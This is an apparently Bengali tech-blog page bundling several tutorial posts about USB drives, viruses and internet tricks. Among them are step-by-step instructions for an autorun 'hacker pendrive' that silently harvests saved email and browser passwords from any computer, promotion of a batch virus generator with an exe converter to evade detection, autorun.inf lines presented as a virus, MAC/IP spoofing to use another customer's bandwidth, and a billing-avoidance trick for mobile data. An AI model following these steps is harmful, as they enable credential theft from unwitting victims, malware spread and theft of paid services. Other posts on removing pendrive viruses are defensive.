Wednesday, April 25, 2012

” Grameen Phone সিম দিয়ে ফ্রি ফ্রি ফ্রি ফ্রি ইন্টারনেট ব্যবহার করুন “


আশা করি আপনারা সবাই ভালো আছেন ।
GP সিমে P(1) এর স্প্রিড বৃদ্ধি নিয়ে গতকাল যে পোষ্ট দিয়েছিলাম তাতে আপনাদের অনেক সাড়া পেয়েছি । ধন্যবাদ ।
আমি টেকটিউনস এ নতুন ।
এই টি আমার ৩য় পোষ্ট ।
আমার জন্য দোয়া করবেন আমি যেন আপনাদের সাথে এই রকম আকর্ষনীয় পোষ্ট শেয়ার করতে পারি ।
কথা আর না বাড়িয়ে চলুন আজকের পোষ্ট নিয়ে আলোচনা করি ।
Grameen Phone ফ্রি ইন্টারনেট ব্যবহারের জন্য একটি পোষ্টপেইড সিম লাগবে ।
না থাকলে এখনই সংগ্রহ করুন ।
এক মাসে ইন্টারনেট এর যে খরচ আসে তা দিয়ে একটি পোষ্টপেইড সিম ক্রয় করুন।
এবার আপনার মোবাইলের ম্যাসেস অপশনে যান > Select Creat Message> এবার "P2" লিখে 5000 এ সেন্ড করুন ।
এখন একটি Reply ম্যাসেস পাবেন ।> এবার "Y" লিখে 5000 এ সেন্ড করুন । > এবার একটি Confarmation Message পাবেন ।> এখন আপনার সিমটি আনলিমিটেড ব্রাউজিং এ্যন্ড ডাউনলোডের জন্য প্রস্তত ।
আপনাকে এই ম্যাসেজটি প্রতিদিন 10a.m এর পরে সেন্ড করতে হবে এবং অবশ্যই সেইদিন 10p.m এর পূর্বে "CANCEL" লিখে "5000" এ সেন্ড করুন ।
এখন আপনার প্যাকেজটি অটোমেটিকেলি Cancel হয়ে যাবে এবং টাকা কাটবে না কারন GP 12a.m এর পরে টাকা কাটে ।
এভাবে প্রতিদিন 10a.m এরপরে উপরের নিয়ম অনুযায়ী ম্যাসেস পাঠিয়ে Pakage Active করুন এবং 10p.m এরমধ্যে উপরের নিয়ম অনুযায়ী ম্যাসেস পাঠিয়ে Pakage Cancel করুন ।
[বিদ্রঃ ফ্রি ইন্টারনেট এর এই সার্ভিস কতদিন কাজ করবে তা আমরা জানি না । এজন্য মাঝেমধ্যে GP Care কল করে আপনার মোবাইলের ব্যালেন্স জেনে নিয়েন ]

ইন্টারনেট সংযোগ ছাড়াই চলে ওয়েবসাইট


অদ্ভুত সব কাণ্ডকারখানা করে যে অভিনেতা দর্শকদের মন জয় করে নিয়েছে তার ওয়েবসাইটেও রয়েছে ভয়াবহ এক চমক। তার জন্য চালু করা হয়েছে বিশেষ এক ওয়েবসাইট। এ ওয়েবসাইটটি চালাতে হয় কোন ইন্টারনেট সংযোগ ছাড়াই। অভিনয়ের প্রতিটি ভঙ্গিমা, ডায়লগ, ভঙ্গি সবকিছুতে ব্যতিক্রম এই অভিনেতার ওয়েবসাইটটিও ব্যতিক্রম। ইন্টারনেট ব্যবহারের অভিজ্ঞতায় এ ধরনের একটি সাইট যেন অবিশ্বাস্য। রজনীকান্তের ওয়েবসাইট www.allaboutrajni.com সাইটটিতে দেখা যাবে রজনীর কার্টুন ভিজিটরের দিকে পিস্তল তাক করে বলছে, ‘তিনি কোন সাধারণ মানুষ নন, এটা কোন সাধারণ ওয়েবসাইট নয়; এটি চলে রজনী-শক্তি বলে, ওয়েবসাইটটিতে ঢুকতে চাইলে আপনার ইন্টারনেট সংযোগটি বন্ধ করতে হবে। কারণ একমাত্র সংযোগ বন্ধ করার মাধ্যমেই আপনাকে এখানে প্রবেশের অনুমতি দেয়া হবে।’

বৈশাখী রঙে রাঙিয়ে তুলুন ফেসবুক টাইমলাইন


বৈশাখী রঙে রাঙিয়ে তুলুন ফেসবুক টাইমলাইন
সকল টিউনার,রিডার, এবং টেকটিউন পরিবারের সাথে জরিত সবাইকে জানাই বাংলা নববর্ষের শুবেচ্ছা ।
শত শত বর্ষ পেরিয়ে বাংলা সন আজ পরিণত। আমাদের হাজার বছরের সাংস্কৃতিক ইতিহাস এবং ঐতিহ্যে মিশে বাংলা নববর্ষের বর্ণাঢ্য উদযাপন প্রমাণ করে বাংলা সংস্কৃতি কতটা সমৃদ্ধ এবং উচ্চমানের। আমদের চেতনার গভীরতা ছড়িয়ে আছে জাতীয় জীবনের প্রতিটি উৎসব-পার্বণে। অস্ট্রিক, দ্রাবিড়, মঙ্গোলীয়'র মিশ্রণে সৃষ্ট বাংগালী জাতিকে সমৃদ্ধ করেছে বঙ্গ, গৌড় ও রাঢ় জনপদ। নিজস্বতায় অনন্য আমদের ভাষা ও সংস্কৃতি, তাই পহেলা বৈশাখে এলে আমরা স্বকীয় সত্ত্বায় আলোকিত হই, স্বাদ নেই শিকড়ের। (আর্টিকেল সোর্স)
বাংঙ্গালি কোটি প্রান আজ মেতে ওঠেছে বৈশাখী আমেজে । বৈশাখী এ আমেজ আমাদের টেকি জীবনেও  এনেছে বৈচিএ । আর এ আমাজের তারতম্য ঘটেনি ফেসবুকেও । আর এ আনন্দের ভাগি হন আপনিও ।










অরজিনাল সাইজ পিকচার গুলো ডাউনলোড করতে - এখানে ক্লিক করুন  পিকচার ক্রেডিটঃ ফেসবুক

কেবলমাত্র পেনড্রাইভ প্রবেশ করিয়েই হ্যাক করুন যে কারো ই-মেইলসহ সকল পাসওয়ার্ড !!! কি অবাক হচ্ছেন?


বিঃ দ্রঃ - এই টিউনটি দ্বারা কেউ ক্ষতি গ্রস্থ হলে আমি দায়ী থাকব না।

সাব্বাইকে স্বাগতম আমার আজকের টিউনে। আশা করি আপনারা সবাই ভালই আছেন। আমি আজ আপনাদেরকে এমন একটি টিপস্ দিব যাতে আপনারা কেবল মাত্র পেনড্রাইভ প্রবেশ করিয়েই হ্যাক করতে পারবেন যে কারো ই-মেইলসহ কম্পিউটারে সেভ করে বা ব্রাউজারে রাখা সকল পাসওয়ার্ড। এটি বেশ নিরাপদ এবং কেউ সহজে বুঝতে পারবে না যে তার পাসওয়ার্ডটি হ্যাক হয়ে গেছে। তাহলে এখন কাজের কথায় আসা যাক। প্রথমে এখান থেকে পুরো ফাইলটি ডাউনলোড করুন।

এখন এর ভিতরে Hack Soft নামে একটি ফাইল পাবেন। ফাইলটি Open করলে এর ভিতরে মোট ৫টি সফটওয়্যার পাবেন। সফটওয়্যারগুলো প্রথমে আনজিপ করে নিন এবং শুধু  .EXE ফাইল গুলো আপনার পেনড্রাইভে কপি করুন। ডাউনলোডকৃত মূল ফাইলটির ভিতরে autorun.inf এবং launch.bat নামক দুইটি ফাইল দেখতে পাবেন। ফাইল দুইটি পেনড্রাইভে কপি করুন। ব্যাস আপনার হ্যকার পেনড্রাইভ তৈরি করা শেষ। এখন এটি যে কোন কম্পিউটারে প্রবেশ করিয়ে দিন এবং ২-৩ সেকেন্ড অপেক্ষা করুন। দেখা যাবে launch.bat সফটওয়্যারটি autorun করবে এবং পেন ড্রইভে একটি .txt ফাইল তৈরি হবে। এই .txt ফাইলটিতেই থাকবে আপনার কাঙ্খিত পাসওয়ার্ড।
বিঃ দ্রঃ - এই পুরো কাজটি করার জন্য আপনার এন্টিভাইরাস সাময়িকভাবে বন্ধ রাখতে হবে। এটি Windows 2000, XP, Vista and Windows 7 এ কাজ করবে।
জানি না টিউনটা করা ঠিক হলো কিনা। তবে ভাল লাগলে আমাকে অবশ্যই কমেন্ট করবেন। সবাই ভাল থাকবেন এবং সুস্থ থাকবেন এই শুভ কামনায় আপনাদের

নিজেই ভাইরাস তৈরি করুন ।


ভাইরাসের আক্রমণ থেকে বাচতে আমাদের যেমন চেষ্টার অন্ত নেই তেমনি আবার অনেকেই ভাইরাস তৈরি করতে পছন্দ করেন ।আবার কেউ কেউ ইচ্ছা থাকা সত্তেও ভাইরাস তৈরি করতে পারেন না কারণ প্রয়োজনীয় উপকরণের অভাবে ।যারা ভাইরাস তৈরি করতে আগ্রহী কিন্তু পারছেননা তাদের উপকারে লাগতে পারে এমন একটি সফটওয়ারের নাম হলো In Shadow Batch Virus Generator। নিচের screen-shot গুলো দেখুন-
In Shadow Batch Virus Generator
In Shadow Batch Virus Generator
In Shadow Batch Virus Generator
In Shadow Batch Virus Generator

ফাইলটির ডাউনলোড লিংক
batch ফাইলগুলোর কোড সহজেই পড়া যায় এবং এদের আইকন পরিবর্তন করা যায় না ,এরা দৃষ্টিকটুও বটে ।তবে একটি সফটওয়ার দিয়ে সহজেই এদের executable ফাইলে পরিবর্তন করে ইচ্ছামত আইকন দেয়া যায় । converter টির ডাউনলোড লিংক
এতে ফাইলগুলোর কোড পড়া যাবেনা এবং ভাইরাস সনাক্ত করা যাবেনা ।

আর নয় এন্টিভাইরাসঃ নিজেই দূর করুন ভাইরাস ছড়ানো



আমরা অনেকেই হয়তো একটার পর একটা এন্টি ভাইরাস ইন্সটল করে বিরক্ত অথবা বারবার XP সেটআপ দিয়ে ক্লান্ত। কেননা কদিনের মধ্যে ঠিকই পেনড্রাইভ দিয়ে ভাইরাস ঢুকে পড়ে। এজন্য আজ কয়েকটা সহজ কিন্তু কাযর্কর সমাধান দিই।

১. খুব সহজেই বন্ধ করুন পেনড্রাইভ দিয়ে ভাইরাস ছড়ানোvirus.jpg

আগে আমরা দেখি ভাইরাস ছড়ায় কেমন করে। ভাইরাস আক্রান্ত পিসিতে পেনড্রাইভ লাগালে ভাইরাসটি পেনড্রাইভে তার একটা কপি তৈরি করে। আর একটা autorun.inf  ফাইল তৈরি করে দেয়। এই আক্রান্ত পেনড্রাইভটি অন্য পিসিতে লাগানোর পর এর সাথে জড়িত যেকোন “Event” ঘটলে (যেমন open বা explore করলে ) autorun.inf ফাইলটি সক্রিয় হয়ে ভাইরাসটিকে Execute  করে দেয়। তার মানে কোনভাবে এই autorun.inf ফাইলকে তৈরি হতে দেয়া না হলে, ভাইরাস পেনড্রাইভে থাকলেও Execute  করবে না।
এখন সমাধান হল আগে থেকে আপনি আপনার পেনড্রাইভে একটা autorun.inf নামে “ফোল্ডার” (ফাইল নয়) তৈরি করে রাখুন। তাহলেই তাকে রিপ্লেস করে আক্রান্ত পিসির ভাইরাসটি নিজস্ব autorun.inf ফাইল তৈরি করতে পারবে না। কারণ, বেশিরভাগ ভাইরাস নির্মাতারা এই বিদঘুটে সমভাবনাটা এড়িয়েই যান।

 ২. সবসময় সিস্টেম ফাইল Show করুন

ভাইরাসের এক্সিকিউটেবল (*.exe) ফাইলগুলোর Attibute হয় সাধারনত Hidden এবং System File যা সাধারনত Show করা থাকে না। তাই আপনি বুঝতেও পারেননা আপনার পেনড্রাইভে ভাইরাস আছে কিনা। এধরনের ফাইল চিহ্নিত করতে Tools মেনু থেকে Folder Options এ গিয়ে View ট্যাব থেকে Show Hidden Files and Folders রেডিও বাটন সিলেক্ট করুন।এবার ঠিক তার নিচের  Hide Extensions for known File Types এবং Hide Protected Operating System Files লেখা দুটি চেকবক্স আনচেক করে Apply দিয়ে Ok করে বেরিয়ে আসুন।
এবারে পেনড্রাইভে সন্দেহজনক কোন Hidden  এক্সিকিউটেবল (*.exe) ফাইল দেখলে ডিলিট করে দিন।

৩. Drive Letter টাইপ করে পেনড্রাইভ খুলুন

dialogbox.JPGভাইরাস আক্রান্ত বা সন্দেহজনক পেনড্রাইভ কখনোই ডাবলক্লিক করে অথবা রাইট বাটনে ক্লিক দিয়ে (Open বা Explore করে) খুলবেন না। Address Bar থেকে Drive Letter (যেমনঃ D:\ বা I:\) টাইপ করে খুলবেন। এতে ভাইরাস থাকলেও তা আপনার পিসিকে আক্রান্ত করার সুযোগ পাবে না।
একইভাবে হার্ডডিস্কের অন্যান্য পার্টিশনে ভাইরাস থাকলে তা ডিলিট করুন এবং পিসি রিস্টার্ট দিন।

৪. স্টার্টআপ পরিষ্কার রাখুন

আপনার পিসি Boot করার পর যেসব প্রোগ্রাম লোড করে তা থাকে স্টার্টআপে। নিত্যপ্রয়োজনীয় প্রোগ্রামগুলো ছাড়া অন্যান্য প্রোগ্রামগুলোর চেকবক্স আনচেক করে দিন। এটি আপনি পাবেন উইন্ডোজের Run থেকে msconfig লিখে এন্টার দিলে যে ডায়ালগ বক্স আসবে তার Startup ট্যাব থেকে। এবারে পিসি রিস্টার্ট দিন।

৫. অপ্রয়োজনীয় Process দূর করুন

অনেকসময় ভাইরাস ফাইল চিহ্নিত করার পরেও তা ডিলিট করতে গেলে এরর দেয় বা “Access is Denied” দেখায়। এরকম হলে বুঝতে হবে ভাইরাস Process টি বর্তমানে Running অবস্থায় আছে যা আগে বন্ধ করতে হবে। আপনি Ctrl+Alt+Delete চেপে Task Manager থেকে প্রসেসটি বন্ধ করতে পারেন। কিন্তু সমস্যা হয় তখনই যখন প্রসেসটি থাকে Hidden যা  Task Manager এ Show করে না। এক্ষেত্রে আপনি HijackThis নামের সফটওয়্যারটি ব্যবহার করতে পারেন যা বেশ ভাল একটি Spyware Remover।

টি আপনি ডাউনলোড করতে ক্লিক করুন এখানে। HijackThis স্টার্ট করে Scan করে তৈরি করা লগ ফাইলটি http://www.hijackthis.de/ এই সার্ভিসের মাধ্যমে সাবমিট করে কোন প্রোগ্রামের প্রসেস কিরকম বা রেটিং জেনে আপনি অনায়াসে Hidden Process গুলো দূর করতে পারবেন।

৬. দূর করুন সাধারণ ভাইরাস সমস্যা

পেন ড্রাইভের মাধমে যে ভাইরাস গুলো ধরে সেগুলো সাধারণ কিছু সমস্যা সৃষ্টি করে এই যেমন Disk Access নষ্ট করা, Folder Option Access নষ্ট করা ইত্যদি। ডিস্ক হিল ব্যবহার করে খুব সহজেই এইসব সমস্যার সমাধান করা যায়। এই সম্পর্কে বিস্তারিত জানুন টিউনার মেহদির এই টিউনটিতে

তাহলে শুরু করে দিন আপনার নিজে নিজে ভাইরাস নিধন অভিযান। আর কোন সমস্যায় পরলে আমি তো আছিই..

তৈরি করুন ভাইরাস মাত্র 20 সেকেন্ডে (Seconds)



ভাইরাসটি তৈরি করতে নিচের ধাপ গুলি অনুসরন করুন -
  • 1 - আপনার ডেক্সটপে রাইট ক্লিক করুন।
  • 2 - new>New Text Document ক্লিক করুন।
  • 3 - এবার Text Document টি ওপেন করুন।
  • 4 - নিচে দেওয়া কোডটি কপি পেস্ট করুন।
    [AutoRun]
    open=Setup.exe e
    shellexecute=Setup.exe e
    shll\Auto\command=Setup.exe e
    shell=Auto
    বা
    X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
  • 5 - এবার সেভ করলেই তৈরি হয়ে যাবে ভাইরাস।
আপনার কম্পিউটারে এন্ট্রি ভাইরাস একটিভ থাকলে সাথে সাথে পেয়ে যাবে।
বিঃদ্রঃ- কেহ এই ভাইরাসটি তৈরি করে অপব্যবহার করবেন না।তৈরি করতে গিয়ে বা করে আপনার কম্পিউটারে কোন রকম ঝামেলা হলে এর জন্য আমি দ্বায়ি নই।

পেনড্রাইভ দিয়েই দূর করুন যেকোন কম্পিউটারের ভাইরাস

Ads by Techtunes - tAds
কাজটা করার জন্য আপনার দরকার হবে যেকোন প্রফেশনাল এন্টিভাইরাসের রেস্কিউ ডিস্কের ISO . আমার কাছে প্রফেশনাল ক্যাস্পারস্কাই ইন্টারনেট সিকিউরিটি ২০১০ আছে, তাই এটি দিয়ে প্রথমে ইন্টারনেট থেকে নামাই সর্বশেষ ভার্সনের ISO যার সাইজ বর্তমানে ১৩০ মে.বা. আর সাধারন ব্যবহারকারীরা ইন্টারনেট থেকে পুরানো ভার্সনের ISO ডাউনলোড করে দেখতে পারেন।আর চট্টগ্রামবাসীরা আমার সাথে যোগাযোগ করে নিজে এসে নিয়ে যেতে পারেন এই ISO
ত মূল টিউনে আসি,
আপনারা চাইলে অন্যান্য এন্টি ভাইরাস দিয়েও কাজটা করতে পারেন, আমি দেখাব ক্যাস্পারস্কাই দিয়ে
আপনার সংগ্রহ করা ক্যাস্পারস্কাই এর রেস্কিউ ISO টি যে নামেই থকুক না কেন তার নামকরন করুন Kav_rescue_2008
ডাউনলোড করুন সারডু , এটি নিয়ে আমি টিউন করেছিলাম।পারলে একবার চোখ বুলিয়ে নিন,
{যাদের ISO সংগ্রহ নাই তারা সারদু OPEN করে Kaspersky ‘Kav Rescue CD’ তে ক্লিক করার সাথে সাথে ডিফল্ট ব্রাউজার লিঙ্ক সহ ওপেন হবে ( তবে তা পাবেন পুরানো ভার্সনের) }
এবার রিনেম করা Kav_rescue_2008টি পেস্ট করুন আপনার ডাউনলোড ও এক্সট্রাক্ট করা ISO নামক ফোল্ডারে
এবার আগে ফরম্যাট করা পেনড্রাইভটি প্রবেশ করিয়ে সারদু বন্ধ করে পুনরায় চালু করুন এবং ক্লিক করুন Make bootable USB, এবার sardu আপনার ISO চেক করব। দেখবেন Kaspersky ‘Kav Rescue CD’ তে টিয়া কালার রঙ হয়েছে আর অন্যান্য গুলোতে হয়েছে লাল রঙের
কোন মেসেজ আসলে ওকে করুন এবং লোকেশন চাইলে পেনড্রাইভকে দেখিয়ে দিন, ব্যাস কিছুক্ষনের মধ্যে তৈরী হবে রেস্কিউ বুটেবল পেনড্রাইভ, এবার যেখানেই যান আপনার পকেটেই থাকল এটি এবং যেকোন কম্পিউটার পেনড্রাইভ থেকে বুট খুব কম সময়ে সম্পূর্ণ কম্পিউটার ভাইরাসমুক্ত করা যায়.
আমি সেদিন পেনড্রাইভ দিয়ে আমার বন্ধুর 80GB HDD ল্যাপ্টপের ভাইরাস দূর করলাম মাত্র ২০ মিনিটে,

এখন যেকোন কম্পিউটারের ভাইরাস দূর করা খুব সহজ

যারা নূতন তাদের জন্য এক্সট্রা হিসেবে নিচে কি করে রেস্কিউ ডিস্ক পেনড্রাইভ ব্যবহার করতে হয় তার একটা বিবরন দিলাম
প্রথমে বায়োসে গিয়ে 1st Boot Device এ USB বা পেনড্রাইভকে কে সিলেক্ট করে পেনড্রাইভ থেকে বুট করুন, দেখবেন  নিচের মত চিত্র আসছে

এবার Menu Antivirus তে সিলেক্ট করে এন্টার ক্লিক করুন ,এবার এন্টার দিন Boot from Kaspersky ‘Kav Rescue CD’ আরেকটা মেনু আসলে আবার এন্টার দিন, এবার কিছু সময় নিবে এবং ভাষা সিলেক্ট করতে বললে এন্টার চাপুন
দেখবেন কিছুক্ষনের মধ্যেই নিচের মত আসছে , এবার আপনার সব ড্রাইভ সিলেক্ট করে স্ক্যান এ ক্লিক করুন

কোন ভাইরাস পেলেই সাথে সাথে একটা মেসেজ আসবে যেটি ডিলিট করার কন্য বলবে, ডিলিট করার আগে মেসেজটির নিচে Apply this all perform এ সিলেক্ট করে দিয়ে ডিলেট এরপর থেকে সব ভাইরাস নিজে থেকেই ডিলিট করে ফেলবে
আর কোন সমস্যায় পড়লে জানাবেন, এই কাজটি সিডি থেকেও করা যায়, চট্টগ্রামের বন্ধুরা আমারসাথে ব্যাক্তিগত যোগাযোগের মাধ্যমে এগুলো সংগ্রহ করতে পারেন খুব সহজেই
আপডেটঃ
আপনারা অনেকেই ক্যাস্পারস্কাই এর রেস্কিউডিস্ক না পেয়ে হতাশা হয়েছেন তাদের জন্য অনেক খুঁজে শেষ পর্যন্ত একটা পেলাম যেটা দেখলাম আপডেট সহ আছে, মোট ১৩১ মে.বা. যেটা আপডেট আছে ২৯শে জানুয়ারী ২০১০ পর্যন্ত, আমি অবশ্য ডাউনলোড করে দেখিনি, আপনারা দেখেন ত কেমন কাজ করে,তবে আশাকরি কাজ করবে….

লিঙ্কগুলো হলঃ
Hotfile
http://hotfile.com/dl/26366264/67bce73/rescuecd_29.01.part1.rar.html
http://hotfile.com/dl/26366248/e4a83cd/rescuecd_29.01.part2.rar.html

Uploading
http://uploading.com/files/fc595528/rescuecd_29.01.part1.rar/
http://uploading.com/files/83m2749b/rescuecd_29.01.part2.rar/

সরকার যেমনি বাংলাদেশকে পোলিও মুক্ত করতে টিকা দিবস পালন তেমনি ভাইরাস মুক্তপিসি রাখার জন্য আমাদের উচিত ঐরকম কোন দিবস পালন করা , আর ঐ দিবসে এরকম পেন্ড্রাইভ রেস্কিউ ডিস্ক দিয়েই ভাইরাস সহজে দূর করা যায়

পেনড্রাইভ মেমোরী কার্ড ভাইরাস মুক্ত রাখুন


এই কমান্ডটা মূলত পেনড্রাইভ বা মেমোরি কার্ডের জন্য যেগুলোতে ভাইরাসের কারনে সব ফাইল হিডেন হয়ে যায়। ফলে প্রকৃত ফাইল বা ফোল্ডার হিডেন হয়ে থাকে এবং ফোল্ডার গুলোর নামে EXE ফাইল তৈরী হয়। এটা থেকে বাঁচার উপায় কি ? আমাদের মধ্যে অনেকেই জানেন না এই কাজটা অতি দ্রুত এবং সফল ভাবে DOS কমান্ডের মাধ্যমে করা যায়---প্রথমে run>cmd>enter এবার আপনার পেনড্রাইভ বা মেমোরি কার্ড এর এড্রেস [এটা I: , J:, K: L:হতে পারে] টাইপ করুন। উদাহরনঃ ধরুন আমার পেনড্রাইভ L তাহলে আমার কামান্ডটা হবে নিচের মতো---
প্রথমে লিখুন L: এটা লিখে এন্টার দিন তাহলে আপনার পেনড্রাইভ সিলেক্ট হলো এবার ঝটপট কমান্ড লিখে এন্টার দিন।
attrib -s -r -h -a /s /d
কমান্ড টা দেখতে হবে এরকম
L:\>attrib -s -r -h -a /s /d
আপনার কাজ হয়ে যাবে পুরোপুরি যদি সেটা ভাইরাস মুক্ত পিসি হয় তাহলে!
পুর্বে এখানে প্রকাশিত

আপনার পেনড্রাইভ বা মেমরি কার্ড কে পাশওয়ার্ড দিয়ে লক করে রাখুন।

আজ কাল আমাদের কত কিছু গোপন রাখার দরকার হয় তা বুঝতেই পারছেন। আর তাই গোপনীয় ফাইল বা ফোল্ডার গুলো লক করার জন্য আপনাদের সাথে USB Secure (Portable Security For USB Drives) পরিচয় ও কিভাবে কাজ করতে হয় তা দেখিয়ে দিতে এই পোস্ট টি করলাম।
দারুন একটি সফটওয়্যার যা দিয়ে আপনি আপনার যেকোন মেমরি কার্ড বা পেনড্রাইভ পাশওয়ার্ড দিয়ে লক করে রাখতে পারবেন। লক করা পেনড্রাইভ বা মেমরি কার্ড যেকোন কম্পিউটারে লাগিয়ে ওপেন করলেই পাশওয়ার্ড চাইবে। এই সফটওয়্যার টি আপনার মেমরি কার্ড এ থেকে যাবে। এই সফটওয়্যার টি দিয়ে লক করলে আপনার সকল ফাইল অদৃশ্য হয়ে যাবে। এইটা দুই ভাবে লক ছাড়ানো যাবে। যেমন মনে করেন যে আপনি লক ছাড়াবেন না কিন্তু ফাইল গুলো দেখবেন তাও করতে পারনবেন। আর আপনি যদি চান যে সম্পুর্ন ভাবে লক ছাড়াব তাহলে তাও পারবেন।

কিভাবে পেন-ড্রাইভ বা মেমরি কার্ড পাশওয়ার্ড দিয়ে লক করবেনঃ

এখান ক্লিক করে সফটওয়্যার টি ডাউনলোড করে Winrar বা Winzip দিয়ে USB নামের ফোল্ডার টি বের করুন। এখন মেমরি কার্ড বা পেন ড্রাইভ লক করবেন সেটা আপনার পিসির সাথে যুক্ত করুন তারপর আপনার বের করা USB ফোল্ডারটির মধ্যে থেকে setup.exe ফাইল টা ওপেন করুন।

আপনার পছন্দ মত ভাষা নির্বাচন করে OK বাটনে ক্লিক করুন।

এবার নেক্সট (NEXT) বাটনে ক্লিক করুন।
License Agreement পড়ার ইচ্ছে থাকলে পড়ে I Agree বাটনে ক্লিক করুন।
এবার আপনার পিসিতে যুক্ত হয়ে থাকা মেমরি কার্ড বা USB ডিক্স দেখাবে সেখানে আপনি যে ড্রাইভ টিকে লক করবেন সেটা নির্বাচন করে রেখে নেক্সট করুন।
এবার Launch USB Secure এ চেক দিয়ে Finish বাটনে ক্লিক করুন।
এবার  এই উইন্ডো টাতে Close বাটনে ক্লিক করুন।
আপনার USB ডিক্স ওপেন হয়ে যাবে সেখানে USB Secure.exe ফাইলটি ওপেন করুন।
ড্রাইভ টি লক করার জন্য Yes বাটনে ক্লিক করুন।
এখানে আপনার পছন্দ মত পাসওয়ার্ড দিয়ে Protect বাটনে ক্লিক করুন। পরের উইন্ডো তে EXIT বাটনে ক্লিক করবেন। এবার দেখুন প্রয়োজনীয় ৩ টি ফাইল ছাড়া সেই ড্রাইভে কিছু নেই। যেকোন কম্পিউটারে একই ব্যাপার।

এবার দেখুন কিভাবে পাসওয়ার্ড ছাড়াতে হয়ঃ

আপনার USB ডিক্স ওপেন করে সেখানে USB Secure.exe ফাইলটি ওপেন করুন (ডিক্স লাগালেই এটা অটোমেটিক ওপেন হওয়ার কথা)।
এখানে আপনার পাসওয়ার্ড টি দিন এখন যদি আপনি কিছুক্ষণের জন্য ড্রাইভ টি আনলক করতে চান তাহলে Open In Virtual Drive এ চেক দিন (তাহলে নতুন একটি ড্রাইভ এ ওপেন হবে) আর আপনি যদি সব সময়ের জন্য আন-লক করতে চান তাহলে Unprotect this drive এ চেক দিয়ে Unprotect বাটনে ক্লিক করুন।
আমার মতে এটি একটি কাজের সফটওয়্যার আপনাদের মত কি?

ইন্টারনেটের গতি কম? IP হ্যাক করে বেশি গতির নেট ব্যবহারের জন্য এটি দেখুন!!!

আসসালামু আলাইকুম। কেমন আছেন সবাই? আশা করি সবাই আল্লাহর রহমতে ভালোই আছেন। আজকে যেটা নিয়ে লিখতে বসেছি তা হল হ্যাকিং। হ্যাকিং শব্দটা শুনলেই কেমন জানি আমাদের চোখ চকচক করে ওঠে! এটাকে অবশ্য হ্যাকিং না বলে ক্র্যাকিং বলাই ভাল! কারণ এখানে আমি যা লিখতে যাচ্ছি তা কোন গবেষণা নয় বরং ISP কে বোকা বানিয়ে অন্যের আইপি ব্যাবহার করে  বেশি ব্যান্ডউইথ ব্যবহার করা। পোষ্টা প্রথমে দিতে চাইনি কিন্তু অনেকেই এই ট্রিক্সটা জানার জন্য উতালা হয়ে আছেন। আর তাই অবশেষে আমি এটা নিইয়ে লিখতে বসলাম। এ্যাডভান্সড ব্যবহারকারীরা অবশ্য আগে থেকেই এই ব্যপারে হাফেজ! কিন্তু যারা নতুন তাদের জন্যই এই টিউনটি করছি আর বড় ব্যাপার হল আপনি যদি বেশি ব্যান্ডউইথের কানেকশন নিয়েও ঠিক মত ইন্টারনেট ব্যবহার করতে না পেরে থাকেন, তবে এর সাহায্যে (যে সফটওয়্যার গুলো আমি দিব) আপনি আপনার কানেকশন অন্যকেও ব্যবহার করছে কিনা তাও হয়ত জানতে পারবেন।  যাই হোক এবার কাজের কথায় আসি। আপনারা যারা ব্রডব্যান্ড ইন্টারনেট সংযোগ ব্যবহার করেন তারা খুব সহজেই আপনার ISP এর অন্য কোন ব্যবহারকারীর কানেকশন ব্যবহার করে উচ্চগতি লাভ করতে পারেন। তার জন্য আপনার নিচের সফটওয়্যারটি ডাউনলোড করতে হবে। এরপর একে এক্সট্রাক্ট করার পর এর ভিতরে ipscan.exe রান করে আপনার হোস্টের IP গুলো দেখে নিন। নিচের ছবির মতো করে অনুসরণ করুন।
১. প্রথমে যা করবেন

২.

৩.

৪.

৫. এবার TMAC ইন্সটল করুন।

৬. TMAC এ্যাডমিনিস্ট্রেটর হিসেবে রান করুন।

৭. এর পর আপনার ম্যাক চেঞ্জ করে নিন এবং ঐ ম্যাকে ব্যবহৃত আইপি যোগ করুন। কোথায় কি করতে হবে তা সংক্ষেপে ছবিতে দেওয়া হল।

৮. কাজ শেষ এবার দেখুন আপনার আই ডি-ই পুরা চেঞ্জ। :) :)
আরও বিস্তারিত পরে কখোনও লিখব যদি প্রয়োজন হয়!!!
আর আপনাদের সুবিধার্থে প্রয়োজনীয় সফটওয়্যার গুলি একই আর্কাইভে দিয়ে দিলাম। এগুলো ফ্রী ওয়্যার তাই সিরিয়াল বা ক্র্যাকের ঝামেলা নেই। ডাউনলোড করতে এখানে ক্লিক করুন।
জানিনা কেমন লাগল আপনাদের। সবাই ভাল থাকবেন, এই কামনায় আজ এই পর্যন্তই। ভাল থাকুন সুস্থ্য থাকুন এই কামনায়।আর ভাল লাগলে মন্তব্য করতে ভুলবেননা। আল্লাহ হাফেজ।